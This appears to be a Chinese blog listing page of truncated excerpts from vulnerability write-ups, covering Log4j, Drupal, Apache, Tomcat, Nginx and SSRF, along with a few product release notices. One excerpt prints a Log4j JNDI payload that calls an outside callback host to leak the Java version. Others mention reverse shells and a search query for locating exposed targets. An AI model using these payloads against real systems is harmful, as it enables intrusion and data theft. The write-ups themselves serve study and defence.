license_check漏洞license grp-u
《Web安全基础》06. 逻辑漏洞&越权
@目录1：逻辑漏洞2：逻辑越权3：修复防御方案4：越权问题4.1：商品购买4.2：找回重置机制4.3：接口安全问题4.4：验证安全5：相关资源 本系列侧重方法论，各工具只是实现目标的载体。 命令与工具只做简单介绍，其使用另见《安全工具录》。 靶场参考：pikachu。 1：逻辑漏洞 逻辑漏洞，与技术 ......
Python的License授权机制
* python脚本很难应用于收费工具领域。那么如果我想对一个Python工具的使用加以限制，有没有什么方法可以实现呢？本文提供一种简易的License授权机制实现思路，它主要包括如下几部分内容： -如何生成一个加密的License文件。 -如何做License内容核验。 -如何加密Python代码 ......
积木报表 JimuReport v1.6.2-GA3版本发布—高危SQL漏洞安全加固版本
项目介绍 一款免费的数据可视化报表，含报表和大屏设计，像搭建积木一样在线设计报表！功能涵盖，数据报表、打印设计、图表报表、大屏设计等！ Web 版报表设计器，类似于excel操作风格，通过拖拽完成报表设计。 秉承“简单、易用、专业”的产品理念，极大的降低报表开发难度、缩短开发周期、节省成本、解决各类 ......
这家电商公司因系统漏洞损失100万！只因没做好这件事……
传统电商品牌 “绑住” 用户的方式，局限于折扣。同质化的“低价策略”让品牌们逐渐丢失了营销竞争力，用户增长疲软。由此，社交电商营销模式应运而生，品牌们可利用社交电商营销系统，解决用户拉新、裂变和沉浸的问题。 但同时，该模式的应用，也为品牌带来了软件安全危机—— 近日，某网络电商公司称：公司营销系统中 ......
代码审计常见漏洞与危险函数
程序命名规范 持久层：dao、persist、mapper 实体类：entity、model、bean、javabean、pojo 业务逻辑：service、biz 控制器：controller、servlet、action、web 过滤器：filter 异常：exception 监听器：liste ......
Python unpickle 造成任意命令执行漏洞
目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境3、漏洞验证 说明 内容 漏洞编号 漏洞名称 Python unpickle 造成任意命令执行漏洞 漏洞评级 影响范围 漏洞描述 修复方案 1.1、漏洞描述 序列化 把对象（变量）从内存中变成可存储或传输的过程称为序列化 ......
Drupal < 7.32版本 _“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)
目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证 说明 内容 漏洞编号 CVE-2014-3704 漏洞名称 Drupal “Drupalgeddon” SQL注入漏洞 漏洞评级 影响范围 Drupal 7.0~7.31版本 漏洞描述 修复方案 ......
Python PIL 远程命令执行漏洞（via Ghostscript）
目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞分析3、漏洞验证1.5、深度利用1、反弹Shell 说明 内容 漏洞编号 PIL-CVE-2018-16509 漏洞名称 Python PIL 远程命令执行漏洞 漏洞评级 影响范围 漏洞描述 修复方案 1.1、漏 ......
Python PIL 远程命令执行漏洞（GhostButt ）
目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证1.5、深度利用1、反弹Shell 说明 内容 漏洞编号 PIL-CVE-2017-8291 漏洞名称 PIL 远程命令执行漏洞 漏洞评级 影响范围 漏洞描述 修复方案 1.1、漏洞描述 PIL ......
Django_debug page_XSS漏洞(CVE-2017-12794)漏洞复现
目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞分析3、漏洞验证 说明 内容 漏洞编号 CVE-2017-12794 漏洞名称 Django_debug page_XSS漏洞 漏洞评级 影响范围 1.11.5版本 漏洞描述 修复方案 1.1、漏洞描述 1.11 ......
永恒之蓝漏洞复现
Metasploit Framework（简称MSF）是一款强大的开源渗透测试工具，具有多种功能和用途。它的主要作用包括： 渗透测试：Metasploit Framework允许安全专业人员模拟黑客攻击，以发现和利用系统和应用程序中的漏洞。这有助于组织识别并修复潜在的安全问题，提高系统的安全性。 漏 ......
华为云发布CodeArts Inspector漏洞管理服务，守护产品研发安全
本文分享自华为云社区《华为云发布CodeArts Inspector漏洞管理服务，守护产品研发安全》，作者： 华为云头条。 2023年9月7日，华为云正式发布CodeArts Inspector漏洞管理服务。这是一款面向软件研发和服务运维提供的一站式漏洞管理能力，通过持续评估系统和应用等资产，内置风 ......
Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞
JNDI注入 什么是JNDI JNDI全称为 Java Naming and Directory Interface（Java命名和目录接口），是一组应用程序接口，为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有：DNS ......
CVE-2017-6920漏洞复现
前言 本文所述远程代码执行漏洞由Drupal Core的YAML解析器处理不当所导致。漏洞对应的CVE编号为CVE-2017-6920。 8.x版本&&小于8.3.4版本 漏洞环境（基于ubuntu18.04） 故事的开始: 启动漏洞环境（vulhub靶场，在cve-2017-6920文件夹中启do ......
sql注入漏洞
1.0 什么是sql注入 sql注入第一次是在1998年著名黑客杂志phack第54期上提出的 sql注入是服务器端未严格校验客户端发送的数据，导致服务器端sql语句被恶意修改并成功执行 的行为 1.1 sql的分类 sql注入按请求方法分为get型和post型。 按照sq;数据类型分类可分为整型注 ......
SSRF漏洞拓展
# SSRF漏洞拓展 [TOC] ## curl_exec函数 ### 一、ssrf配合gopher协议反弹shell 实验环境： ``` （1）192.168.142.201 #redis服务器 （2）192.168.142.133 #攻击机 （3）192.168.142.1 #SSRF靶机 `` ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
IIS_7.o/7.5解析漏洞
[toc] # IIS_7.o/7.5解析漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | IIS_7.o/7.5解析漏洞 | | 漏洞评级 | | | 影响范围 | win7,server2008 | | 漏洞描述 | | | 修复方案 | | ### 1.1、漏洞 ......
用友时空KSOA ImageUpload文件上传漏洞
## 漏洞简介 用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限 ## 影响版本 用友时空企业信息融通平台KSOA v9.0 ## 漏洞复现 fofa语法：`app="用友-时空KSOA"` 登录页面如下： 
Acunetix v23.8 (Linux, Windows) - 漏洞扫描 (Web 应用程序安全测试) Acunetix | Web Application Security Scanner 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞)
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 CV ......
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载)
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 ......
Nginx_(背锅)解析漏洞复现
[toc] # Nginx 解析漏洞复现 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | | | 漏洞评级 | | | 影响范围 | | | 漏洞描述 | Nginx 解析漏洞 该解析漏洞是PHP CGI 的漏洞，在PHP的配置文件中有一个关键的选项 cgi.fix_pa ......
Nginx_0.7.65_空字节漏洞
[toc] # Nginx_0.7.65_空字节漏洞 ### 1.1、漏洞描述 ### 1.2、漏洞等级 ### 1.3、影响版本 0.7.65 ### 1.4、漏洞复现 #### 1、基础环境 > 链接：https://pan.baidu.com/s/1GBEb6ig6ogiQfXq-yj_Vhw ......
Tomcat7+ 弱口令 && 后台getshell漏洞
[toc] # Tomcat7+ 弱口令 && 后台getshell漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | Tomcat7+ 弱口令 && 后台getshell漏洞 | | 漏洞评级 | 高危 | | 影响范围 | Tomcat 版本：8.0 | | 漏洞描 ......
Apache HTTPD 多后缀解析漏洞
[toc] # Apache HTTPD 多后缀解析漏洞 ### 1.1、漏洞描述 Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件： ```php AddType text/html .html AddLanguage zh-CN .cn ``` ......
Apache HTTPD-换行解析漏洞（CVE-2017-15715）
[toc] # Apache HTTPD-换行解析漏洞（CVE-2017-15715） | 说明 | 内容 | | | | | 漏洞编号 | CVE-2017-15715 | | 漏洞名称 | Apache HTTPD 换行解析漏洞 | | 漏洞评级 | 高危 | | 影响范围 | 2.4.0~2. ......
Apache HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773)
[toc] # Apache HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2021-41773 | | 漏洞名称 | Apache HTTP 路径穿越漏洞 | | 漏洞评级 | 高危 | | 影响范围 | 2.4 ......
Apache HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)
[toc] # Apache HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2021-42013 | | 漏洞名称 | Apache HTTP_2.4.50_路径穿越漏洞 | | 漏洞评级 | 高危 | | 影响范 ......
Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1938)
[toc] # Aapache_Tomcat_AJP_文件包含漏洞(CVE-2020-1938) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2020-1938 | | 漏洞名称 | Aapache_Tomcat_AJP文件包含漏洞 | | 漏洞评级 | 高危 | | 影响范围 | ......